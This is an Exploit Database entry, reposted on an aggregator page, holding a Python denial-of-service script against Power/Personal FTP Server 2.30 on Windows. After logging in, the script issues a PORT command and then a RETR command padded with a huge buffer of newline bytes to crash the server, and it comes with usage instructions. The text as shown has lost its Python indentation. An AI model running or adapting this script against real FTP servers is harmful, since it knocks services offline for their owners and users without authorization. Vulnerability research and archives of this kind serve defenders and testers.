Power/Personal FTP Server – RETR Denial of Service

• Exploit Database
• 8 阅读

• 作者： antrhacks
  日期： 2010-07-16
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14380/

• #!/usr/bin/python
  
  #--------------------------------------------
  # Power/Personal FTP Server RETR Command DoS
  #--------------------------------------------
  
  # Title: Power/Personat FTP Server RETR Command DoS
  # Author: antrhacks
  # Software Link: http://www.cooolsoft.com/download/PowerFTP.EXE
  # Version: 2.30
  # Platform:Windows XP SP3 Home edition Fr
  # Tested with buffersize: 82000, 83000, 84000, ... 92000
  # Example: ./PowerFTP.py 192.168.0.10 test test 85000 
   
  import socket
  import sys
   
  # Description:
  # RETR command overflow with PORT specified
   
  def howto():
  print ("Usage: scriptname.py <IP> <username> <password> <buffersize>\n")
   
  def exploit(host,user,password):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.bind(('0.0.0.0', 6666)) # Need that for the PORT Command !!! 
  try:
  sock.connect((host, 21))
  except:
  print ("Unable to connect to host")
  sys.exit(1)
  r=sock.recv(1024)
  print r 
  r=sock.getsockname()
  print r
  sock.send("USER " + user + "\r\n")
  r=sock.recv(1024)
  print r
  sock.send("PASS " + password + "\r\n")
  r=sock.recv(1024)
  print r
  sock.send("PORT 192,168,0,11,26,10" + "\r\n") # 26,10 => 0x1a,0x0a => 6666
  r=sock.recv(1024)
  print r
  sock.send("RETR " + buffer + " \r\n")
  r=sock.recv(1024)
  print r
  sock.send("QUIT" + " \r\n")
  r=sock.recv(1024)
  print r
  sock.close()
   
  if len(sys.argv) <> 5:
  howto()
  sys.exit(1)
  else:
  host=sys.argv[1]
  user=sys.argv[2]
  password=sys.argv[3]
  buffersize=int(sys.argv[4])
  buffer="\x0a\x0a" * buffersize
  exploit(host,user,password)
  sys.exit(0)
   
  # END
  
  
  # (2010-07-15) - Inj3ct0r.com -